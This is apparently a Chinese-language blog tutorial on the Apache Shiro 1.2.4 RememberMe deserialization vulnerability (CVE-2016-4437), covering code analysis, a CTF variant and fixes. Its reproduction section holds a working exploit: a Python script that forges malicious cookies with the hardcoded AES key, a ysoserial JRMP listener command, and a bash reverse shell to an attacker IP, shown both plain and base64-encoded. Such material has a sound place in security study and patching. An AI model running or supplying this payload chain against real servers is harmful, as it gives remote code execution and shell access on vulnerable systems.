Apache Shiro RememberMe 1.2.4 反序列化漏洞深入分析与利用指南
0x00 漏洞概述
Apache Shiro是一个强大且易用的Java安全框架,提供认证、授权、加密和会话管理等功能。在Shiro 1.2.4及之前版本中,存在一个严重的反序列化漏洞(CVE-2016-4437),攻击者可以通过构造恶意的RememberMe cookie实现远程代码执行(RCE)。
0x01 漏洞复现
环境准备
-
漏洞环境搭建:
git clone https://github.com/Medicean/VulApps.git cd VulApps/s/shiro/1 # 使用docker-compose启动环境 docker-compose up -d -
所需工具:
- ysoserial.jar(Java反序列化利用工具)
- Python 2.7+(用于生成payload)
- Burp Suite(用于发送恶意请求)
漏洞验证步骤
-
准备RMI服务端(在攻击者VPS上执行):
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'curl 192.168.127.129:2345' -
生成恶意RememberMe cookie:
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode()) -
发送恶意请求:
- 使用Burp Suite拦截登录请求
- 添加生成的rememberMe cookie
- 发送请求触发漏洞
反弹Shell利用
-
准备反弹Shell命令:
bash -i >& /dev/tcp/攻击者IP/2345 0>&1使用在线工具进行Base64编码
-
启动RMI服务端:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNy4xMjkvMjM0NSAwPiYxIA==}|{base64,-d}|{bash,-i}' -
生成新的payload并发送,监听2345端口获取shell
0x02 漏洞原理深度分析
Shiro RememberMe机制
Shiro提供了RememberMe功能,允许用户通过cookie保持登录状态。其处理流程如下:
- 序列化:将用户身份信息(PrincipalCollection)序列化为字节数组
- 加密:使用AES-CBC模式加密序列化数据
- Base64编码:将加密结果进行Base64编码后设置为cookie
关键代码分析
加密过程
-
入口点:
org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLoginpublic void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) { forgetIdentity(subject); // 清除之前的身份信息 if (isRememberMe(token)) { rememberIdentity(subject, token, info); // 记住身份信息 } } -
序列化与加密:
org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentityprotected void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo info) { PrincipalCollection principals = info.getPrincipals(); byte[] bytes = convertPrincipalsToBytes(principals); // 序列化 bytes = encrypt(bytes); // 加密 rememberSerializedIdentity(subject, bytes); // 存储为cookie } -
加密实现:
org.apache.shiro.crypto.JcaCipherService#encryptpublic ByteSource encrypt(byte[] plaintext, byte[] key) { byte[] iv = generateInitializationVector(false); byte[] ciphertext = crypt(plaintext, key, iv, Cipher.ENCRYPT_MODE); return ByteSource.Util.bytes(combine(iv, ciphertext)); }
解密过程
-
入口点:
org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentityprotected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) { String base64 = getCookie().readValue(WebUtils.toHttp(subjectContext)); return base64 != null ? Base64.decode(base64) : null; } -
解密与反序列化:
org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipalsprotected PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { byte[] bytes = getRememberedSerializedIdentity(subjectContext); if (bytes != null && bytes.length > 0) { bytes = decrypt(bytes); // 解密 return deserialize(bytes); // 反序列化 } return null; } -
反序列化实现:
org.apache.shiro.io.DefaultSerializer#deserializepublic T deserialize(byte[] serialized) throws SerializationException { ByteArrayInputStream bais = new ByteArrayInputStream(serialized); ObjectInputStream ois = new ObjectInputStream(bais); return (T) ois.readObject(); // 漏洞触发点 }
漏洞根源
-
硬编码AES密钥:
kPH+bIxk5D2deZiIxcaaaA==被硬编码在代码中public AbstractRememberMeManager() { this.serializer = new DefaultSerializer<PrincipalCollection>(); this.cipherService = new AesCipherService(); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); // 硬编码密钥 } -
加密模式可预测:使用CBC模式,IV为前16字节
-
反序列化无过滤:直接对用户控制的输入进行反序列化
0x03 变种分析:Ogeek线下Java-Shiro
自定义加密实现
题目实现了自定义的ShiroCipherService,加密逻辑如下:
-
加密过程:
public ByteSource encrypt(byte[] plaintext, byte[] key) { // 生成随机签名 String sign = (new Md5Hash(UUID.randomUUID().toString())).toString() + "asfda-92u134-"; // 获取请求信息 Subject subject = SecurityUtils.getSubject(); HttpServletRequest servletRequest = WebUtils.getHttpRequest(subject); String user_agent = servletRequest.getHeader("User-Agent"); String ip_address = servletRequest.getHeader("X-Forwarded-For"); ip_address = ip_address == null ? servletRequest.getRemoteAddr() : ip_address; // 构造JSON数据 String data = "{\"user_is_login\":\"1\",\"sign\":\"" + sign + "\",\"ip_address\":\"" + ip_address + "\",\"user_agent\":\"" + user_agent + "\",\"serialize_data\":\"" + Base64.getEncoder().encodeToString(plaintext) + "\"}"; // 多层加密处理 byte[] data_bytes = data.getBytes(); byte[] okey = (new Sha1Hash(new String(key))).toString().getBytes(); byte[] mkey = (new Sha1Hash(UUID.randomUUID().toString())).toString().getBytes(); byte[] out = new byte[2 * data_bytes.length]; // 加密算法 for(int i = 0; i < data_bytes.length; ++i) { out[i * 2] = mkey[i % mkey.length]; out[i * 2 + 1] = (byte)(mkey[i % mkey.length] ^ data_bytes[i]); } byte[] result = new byte[out.length]; for(int i = 0; i < out.length; ++i) { result[i] = (byte)(out[i] ^ okey[i % okey.length]); } return Util.bytes(result); } -
解密过程:
public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException { String skey = (new Sha1Hash(new String(key))).toString(); byte[] bkey = skey.getBytes(); byte[] data_bytes = new byte[ciphertext.length]; // 第一层解密 for(int i = 0; i < ciphertext.length; ++i) { data_bytes[i] = (byte)(ciphertext[i] ^ bkey[i % bkey.length]); } // 第二层解密 byte[] jsonData = new byte[ciphertext.length / 2]; for(int i = 0; i < jsonData.length; ++i) { jsonData[i] = (byte)(data_bytes[i * 2] ^ data_bytes[i * 2 + 1]); } // 提取序列化数据 JSONObject jsonObject = new JSONObject(new String(jsonData)); String serial = (String)jsonObject.get("serialize_data"); return Util.bytes(Base64.getDecoder().decode(serial)); }
密钥管理
密钥从remember.key文件中读取,初始为32位随机字符串:
private byte[] getKeyFromConfig() {
try {
InputStream fileInputStream = this.getClass().getResourceAsStream("remember.key");
String key = "";
if (fileInputStream != null && fileInputStream.available() >= 32) {
byte[] bytes = new byte[fileInputStream.available()];
fileInputStream.read(bytes);
key = new String(bytes);
fileInputStream.close();
} else {
// 生成新密钥
BufferedWriter writer = new BufferedWriter(new FileWriter(this.getClass().getResource("/").getPath() + "com/collection/shiro/manager/remember.key"));
key = RandomStringUtils.random(32, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_=");
writer.write(key);
writer.close();
}
key = (new Md5Hash(key)).toString();
return key.getBytes();
} catch (Exception var4) {
var4.printStackTrace();
return null;
}
}
0x04 漏洞修复方案
-
官方推荐修复方式:
- 升级到Shiro 1.2.5及以上版本
- 不配置硬编码密钥,让Shiro每次生成随机密钥
-
自定义密钥生成:
// 使用官方提供的密钥生成方法 byte[] key = new AesCipherService().generateNewKey().getEncoded(); -
防御措施:
- 禁用RememberMe功能(如果不必要)
- 实现自定义的
RememberMeManager,添加反序列化过滤 - 使用白名单限制可反序列化的类